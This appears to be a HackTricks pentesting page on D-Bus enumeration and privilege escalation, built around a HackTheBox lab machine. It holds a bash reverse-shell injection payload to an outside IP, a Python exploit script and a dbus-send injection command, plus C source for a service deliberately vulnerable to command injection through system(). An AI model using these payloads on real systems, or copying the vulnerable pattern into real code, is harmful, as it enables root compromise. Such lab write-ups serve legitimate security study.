HackTricks
Search…
Pentesting
Powered By GitBook
D-Bus Enumeration & Command Injection Privilege Escalation

GUI enumeration

Ubuntu desktop utilizes D-Bus as its inter-process communications (IPC) mediator. On Ubuntu, there are several message buses that run concurrently: A system bus, which is mainly used by privileged services to expose system-wide relevant services, and one session bus for each logged in user, which exposes services that are only relevant to that specific user. Since we will try to elevate our privileges, we will mainly focus on the system bus as the services there tend to run with higher privileges (i.e. root). Note that the D-Bus architecture utilizes one ‘router’ per session bus, which redirects client messages to the relevant services they are trying to interact with. Clients need to specify the address of the service to which they want to send messages.
Each service is defined by the objects and interfaces that it exposes. We can think of objects as instances of classes in standard OOP languages. Each unique instance is identified by its object path – a string which resembles a file system path that uniquely identifies each object that the service exposes. A standard interface that will help with our research is the org.freedesktop.DBus.Introspectable interface. It contains a single method, Introspect, which returns an XML representation of the methods, signals and properties supported by the object. This blog post focuses on methods and ignores properties and signals.
I used two tools to communicate with the D-Bus interface: CLI tool named gdbus, which allows to easily call D-Bus exposed methods in scripts, and D-Feet, a Python based GUI tool that helps to enumerate the available services on each bus and to see which objects each service contains.
1
sudo apt-get install d-feet
Copied!
Figure 1. D-Feet main window
Figure 2. D-Feet interface window
On the left pane in Figure 1 you can see all the various services that have registered with the D-Bus daemon system bus (note the select System Bus button on the top). I selected the org.debin.apt service, and D-Feet automatically queried the service for all the available objects. Once I selected a specific object, the set of all interfaces, with their respective methods properties and signals are listed, as seen in Figure 2. Note that we also get the signature of each IPC exposed method.
We can also see the pid of the process that hosts each service, as well as its command line. This is a very useful feature, since we can validate that the target service we are inspecting indeed runs with higher privileges. Some services on the System bus don’t run as root, and thus are less interesting to research.
D-Feet also allows one to call the various methods. In the method input screen we can specify a list of Python expressions, delimited by commas, to be interpreted as the parameters to the invoked function, shown in Figure 3. Python types are marshaled to D-Bus types and passed to the service.
Figure 3. Calling D-Bus Methods through D-Feet
Some methods require authentication before allowing us to invoke them. We will ignore these methods, since our goal is to elevate our privileges without credentials in the first place.
Figure 4. A method that requires authorization
Also note that some of the services query another D-Bus service named org.freedeskto.PolicyKit1 whether a user should be allowed to perform certain actions or not.

Cmd line Enumeration

List Service Objects

It's possible to list opened D-Bus interfaces with:
1
busctl list #List D-Bus interfaces
2
3
NAME PID PROCESS USER CONNECTION UNIT SE
4
:1.0 1 systemd root :1.0 init.scope -
5
:1.1345 12817 busctl qtc :1.1345 session-729.scope 72
6
:1.2 1576 systemd-timesyn systemd-timesync :1.2 systemd-timesyncd.service -
7
:1.3 2609 dbus-server root :1.3 dbus-server.service -
8
:1.4 2606 wpa_supplicant root :1.4 wpa_supplicant.service -
9
:1.6 2612 systemd-logind root :1.6 systemd-logind.service -
10
:1.8 3087 unattended-upgr root :1.8 unattended-upgrades.serv… -
11
:1.820 6583 systemd qtc :1.820 [email protected] -
12
com.ubuntu.SoftwareProperties - - - (activatable) - -
13
fi.epitest.hostap.WPASupplicant 2606 wpa_supplicant root :1.4 wpa_supplicant.service -
14
fi.w1.wpa_supplicant1 2606 wpa_supplicant root :1.4 wpa_supplicant.service -
15
htb.oouch.Block 2609 dbus-server root :1.3 dbus-server.service -
16
org.bluez - - - (activatable) - -
17
org.freedesktop.DBus 1 systemd root - init.scope -
18
org.freedesktop.PackageKit - - - (activatable) - -
19
org.freedesktop.PolicyKit1 - - - (activatable) - -
20
org.freedesktop.hostname1 - - - (activatable) - -
21
org.freedesktop.locale1 - - - (activatable) - -
Copied!

Connections

When a process sets up a connection to a bus, the bus assigns to the connection a special bus name called unique connection name. Bus names of this type are immutable—it's guaranteed they won't change as long as the connection exists—and, more importantly, they can't be reused during the bus lifetime. This means that no other connection to that bus will ever have assigned such unique connection name, even if the same process closes down the connection to the bus and creates a new one. Unique connection names are easily recognizable because they start with the—otherwise forbidden—colon character.

Service Object Info

Then, you can obtain some information about the interface with:
1
busctl status htb.oouch.Block #Get info of "htb.oouch.Block" interface
2
3
PID=2609
4
PPID=1
5
TTY=n/a
6
UID=0
7
EUID=0
8
SUID=0
9
FSUID=0
10
GID=0
11
EGID=0
12
SGID=0
13
FSGID=0
14
SupplementaryGIDs=
15
Comm=dbus-server
16
CommandLine=/root/dbus-server
17
Label=unconfined
18
CGroup=/system.slice/dbus-server.service
19
Unit=dbus-server.service
20
Slice=system.slice
21
UserUnit=n/a
22
UserSlice=n/a
23
Session=n/a
24
AuditLoginUID=n/a
25
AuditSessionID=n/a
26
UniqueName=:1.3
27
EffectiveCapabilities=cap_chown cap_dac_override cap_dac_read_search
28
cap_fowner cap_fsetid cap_kill cap_setgid
29
cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service
30
cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock
31
cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot
32
cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot
33
cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config
34
cap_mknod cap_lease cap_audit_write cap_audit_control
35
cap_setfcap cap_mac_override cap_mac_admin cap_syslog
36
cap_wake_alarm cap_block_suspend cap_audit_read
37
PermittedCapabilities=cap_chown cap_dac_override cap_dac_read_search
38
cap_fowner cap_fsetid cap_kill cap_setgid
39
cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service
40
cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock
41
cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot
42
cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot
43
cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config
44
cap_mknod cap_lease cap_audit_write cap_audit_control
45
cap_setfcap cap_mac_override cap_mac_admin cap_syslog
46
cap_wake_alarm cap_block_suspend cap_audit_read
47
InheritableCapabilities=
48
BoundingCapabilities=cap_chown cap_dac_override cap_dac_read_search
49
cap_fowner cap_fsetid cap_kill cap_setgid
50
cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service
51
cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock
52
cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot
53
cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot
54
cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config
55
cap_mknod cap_lease cap_audit_write cap_audit_control
56
cap_setfcap cap_mac_override cap_mac_admin cap_syslog
57
cap_wake_alarm cap_block_suspend cap_audit_read
Copied!

List Interfaces of a Service Object

You need to have enough permissions.
1
busctl tree htb.oouch.Block #Get Interfaces of the service object
2
3
└─/htb
4
└─/htb/oouch
5
└─/htb/oouch/Block
Copied!

Introspect Interface of a Service Object

Note how in this example it was selected the latest interface discovered using the tree parameter (see previous section):
1
busctl introspect htb.oouch.Block /htb/oouch/Block #Get methods of the interface
2
3
NAME TYPE SIGNATURE RESULT/VALUE FLAGS
4
htb.oouch.Block interface - - -
5
.Block method s s -
6
org.freedesktop.DBus.Introspectable interface - - -
7
.Introspect method - s -
8
org.freedesktop.DBus.Peer interface - - -
9
.GetMachineId method - s -
10
.Ping method - - -
11
org.freedesktop.DBus.Properties interface - - -
12
.Get method ss v -
13
.GetAll method s a{sv} -
14
.Set method ssv - -
15
.PropertiesChanged signal sa{sv}as - -
Copied!
Note the method .Block of the interface htb.oouch.Block (the one we are interested in). The "s" of the other columns may mean that it's expecting a string.

Monitor/Capture Interface

With enough privileges (just send_destination and receive_sender privileges aren't enough) you can monitor a D-Bus communication.
In order to monitor a communication you will need to be root. If you still find problems being root check https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/ and https://wiki.ubuntu.com/DebuggingDBus
If you know how to configure a D-Bus config file to allow non root users to sniff the communication please contact me!
Different ways to monitor:
1
sudo busctl monitor htb.oouch.Block #Monitor only specified
2
sudo busctl monitor #System level, even if this works you will only see messages you have permissions to see
3
sudo dbus-monitor --system #System level, even if this works you will only see messages you have permissions to see
Copied!
In the following example the interface htb.oouch.Block is monitored and the message "lalalalal" is sent through miscommunication:
1
busctl monitor htb.oouch.Block
2
3
Monitoring bus message stream.
4
Type=method_call Endian=l Flags=0 Version=1 Priority=0 Cookie=2
5
Sender=:1.1376 Destination=htb.oouch.Block Path=/htb/oouch/Block Interface=htb.oouch.Block Member=Block
6
UniqueName=:1.1376
7
MESSAGE "s" {
8
STRING "lalalalal";
9
};
10
11
Type=method_return Endian=l Flags=1 Version=1 Priority=0 Cookie=16 ReplyCookie=2
12
Sender=:1.3 Destination=:1.1376
13
UniqueName=:1.3
14
MESSAGE "s" {
15
STRING "Carried out :D";
16
};
Copied!
You can use capture instead of monitor to save the results in a pcap file.

Filtering all the noise

If there is just too much information on the bus, pass a match rule like so:
1
dbus-monitor "type=signal,sender='org.gnome.TypingMonitor',interface='org.gnome.TypingMonitor'"
Copied!
Multiple rules can be specified. If a message matches any of the rules, the message will be printed. Like so:
1
dbus-monitor "type=error" "sender=org.freedesktop.SystemToolsBackends"
Copied!
1
dbus-monitor "type=method_call" "type=method_return" "type=error"
Copied!
See the D-Bus documentation for more information on match rule syntax.

More

busctl have even more options, find all of them here.

Vulnerable Scenario

As user qtc inside the host "oouch" from HTB you can find an unexpected D-Bus config file located in /etc/dbus-1/system.d/htb.oouch.Block.conf:
1
<?xml version="1.0" encoding="UTF-8"?> <!-- -*- XML -*- -->
2
3
<!DOCTYPE busconfig PUBLIC
4
"-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN"
5
"http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">
6
7
<busconfig>
8
9
<policy user="root">
10
<allow own="htb.oouch.Block"/>
11
</policy>
12
13
<policy user="www-data">
14
<allow send_destination="htb.oouch.Block"/>
15
<allow receive_sender="htb.oouch.Block"/>
16
</policy>
17
18
</busconfig>
Copied!
Note from the previous configuration that you will need to be the user root or www-data to send and receive information via this D-BUS communication.
As user qtc inside the docker container aeb4525789d8 you can find some dbus related code in the file /code/oouch/routes.py. This is the interesting code:
1
if primitive_xss.search(form.textfield.data):
2
bus = dbus.SystemBus()
3
block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
4
block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block')
5
6
client_ip = request.environ.get('REMOTE_ADDR', request.remote_addr)
7
response = block_iface.Block(client_ip)
8
bus.close()
9
return render_template('hacker.html', title='Hacker')
Copied!
As you can see, it is connecting to a D-Bus interface and sending to the "Block" function the "client_ip".
In the other side of the D-Bus connection there is some C compiled binary running. This code is listening in the D-Bus connection for IP address and is calling iptables via system function to block the given IP address. The call to system is vulnerable on purpose to command injection, so a payload like the following one will create a reverse shell: ;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #

Exploit it

At the end of this page you can find the complete C code of the D-Bus application. Inside of it you can find between the lines 91-97 how the D-Bus object path and interface name are registered. This information will be necessary to send information to the D-Bus connection:
1
/* Install the object */
2
r = sd_bus_add_object_vtable(bus,
3
&slot,
4
"/htb/oouch/Block", /* interface */
5
"htb.oouch.Block", /* service object */
6
block_vtable,
7
NULL);
Copied!
Also, in line 57 you can find that the only method registered for this D-Bus communication is called Block(Thats why in the following section the payloads are going to be sent to the service object htb.oouch.Block, the interface /htb/oouch/Block and the method name Block):
1
SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),
Copied!

Python

The following python code will send the payload to the D-Bus connection to the Block method via block_iface.Block(runme) (note that it was extracted from the previous chunk of code):
1
import dbus
2
bus = dbus.SystemBus()
3
block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
4
block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block')
5
runme = ";bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #"
6
response = block_iface.Block(runme)
7
bus.close()
Copied!

busctl and dbus-send

1
dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block string:';pring -c 1 10.10.14.44 #'
Copied!
    dbus-send is a tool used to send message to “Message Bus”
    Message Bus – A software used by systems to make communications between applications easily. It’s related to Message Queue (messages are ordered in sequence) but in Message Bus the messages are sending in a subscription model and also very quick.
    “-system” tag is used to mention that it is a system message, not a session message (by default).
    “–print-reply” tag is used to print our message appropriately and receives any replies in a human-readable format.
    “–dest=Dbus-Interface-Block” The address of the Dbus interface.
    “–string:” – Type of message we like to send to the interface. There are several formats of sending messages like double, bytes, booleans, int, objpath. Out of this, the “object path” is useful when we want to send a path of a file to the Dbus interface. We can use a special file (FIFO) in this case to pass a command to interface in the name of a file. “string:;” – This is to call the object path again where we place of FIFO reverse shell file/command.
Note that in htb.oouch.Block.Block, the first part (htb.oouch.Block) references the service object and the last part (.Block) references the method name.

C code

d-bus_server.c
1
//sudo apt install pkgconf
2
// sudo apt install libsystemd-dev
3
//gcc d-bus_server.c -o dbus_server `pkg-config --cflags --libs libsystemd`
4
5
#include <stdio.h>
6
#include <stdlib.h>
7
#include <string.h>
8
#include <errno.h>
9
#include <unistd.h>
10
#include <systemd/sd-bus.h>
11
12
static int method_block(sd_bus_message *m, void *userdata, sd_bus_error *ret_error) {
13
char* host = NULL;
14
int r;
15
16
/* Read the parameters */
17
r = sd_bus_message_read(m, "s", &host);
18
if (r < 0) {
19
fprintf(stderr, "Failed to obtain hostname: %s\n", strerror(-r));
20
return r;
21
}
22
23
char command[] = "iptables -A PREROUTING -s %s -t mangle -j DROP";
24
25
int command_len = strlen(command);
26
int host_len = strlen(host);
27
28
char* command_buffer = (char *)malloc((host_len + command_len) * sizeof(char));
29
if(command_buffer == NULL) {
30
fprintf(stderr, "Failed to allocate memory\n");
31
return -1;
32
}
33
34
sprintf(command_buffer, command, host);
35
36
/* In the first implementation, we simply ran command using system(), since the expected DBus
37
* to be threading automatically. However, DBus does not thread and the application will hang
38
* forever if some user spawns a shell. Thefore we need to fork (easier than implementing real
39
* multithreading)
40
*/
41
int pid = fork();
42
43
if ( pid == 0 ) {
44
/* Here we are in the child process. We execute the command and eventually exit. */
45
system(command_buffer);
46
exit(0);
47
} else {
48
/* Here we are in the parent process or an error occured. We simply send a genric message.
49
* In the first implementation we returned separate error messages for success or failure.
50
* However, now we cannot wait for results of the system call. Therefore we simply return
51
* a generic. */
52
return sd_bus_reply_method_return(m, "s", "Carried out :D");
53
}
54
r = system(command_buffer);
55
}
56
57
58
/* The vtable of our little object, implements the net.poettering.Calculator interface */
59
static const sd_bus_vtable block_vtable[] = {
60
SD_BUS_VTABLE_START(0),
61
SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),
62
SD_BUS_VTABLE_END
63
};
64
65
66
int main(int argc, char *argv[]) {
67
/*
68
* Main method, registeres the htb.oouch.Block service on the system dbus.
69
*
70
* Paramaters:
71
* argc (int) Number of arguments, not required
72
* argv[] (char**) Argument array, not required
73
*
74
* Returns:
75
* Either EXIT_SUCCESS ot EXIT_FAILURE. Howeverm ideally it stays alive
76
* as long as the user keeps it alive.
77
*/
78
79
80
/* To prevent a huge numer of defunc process inside the tasklist, we simply ignore client signals */
81
signal(SIGCHLD,SIG_IGN);
82
83
sd_bus_slot *slot = NULL;
84
sd_bus *bus = NULL;
85
int r;
86
87
/* First we need to connect to the system bus. */
88
r = sd_bus_open_system(&bus);
89
if (r < 0)
90
{
91
fprintf(stderr, "Failed to connect to system bus: %s\n", strerror(-r));
92
goto finish;
93
}
94
95
/* Install the object */
96
r = sd_bus_add_object_vtable(bus,
97
&slot,
98
"/htb/oouch/Block", /* interface */
99
"htb.oouch.Block", /* service object */
100
block_vtable,
101
NULL);
102
if (r < 0) {
103
fprintf(stderr, "Failed to install htb.oouch.Block: %s\n", strerror(-r));
104
goto finish;
105
}
106
107
/* Register the service name to find out object */
108
r = sd_bus_request_name(bus, "htb.oouch.Block", 0);
109
if (r < 0) {
110
fprintf(stderr, "Failed to acquire service name: %s\n", strerror(-r));
111
goto finish;
112
}
113
114
/* Infinite loop to process the client requests */
115
for (;;) {
116
/* Process requests */
117
r = sd_bus_process(bus, NULL);
118
if (r < 0) {
119
fprintf(stderr, "Failed to process bus: %s\n", strerror(-r));
120
goto finish;
121
}
122
if (r > 0) /* we processed a request, try to process another one, right-away */
123
continue;
124
125
/* Wait for the next request to process */
126
r = sd_bus_wait(bus, (uint64_t) -1);
127
if (r < 0) {
128
fprintf(stderr, "Failed to wait on bus: %s\n", strerror(-r));
129
goto finish;
130
}
131
}
132
133
finish:
134
sd_bus_slot_unref(slot);
135
sd_bus_unref(bus);
136
137
return r < 0 ? EXIT_FAILURE : EXIT_SUCCESS;
138
}
Copied!
Last modified 2d ago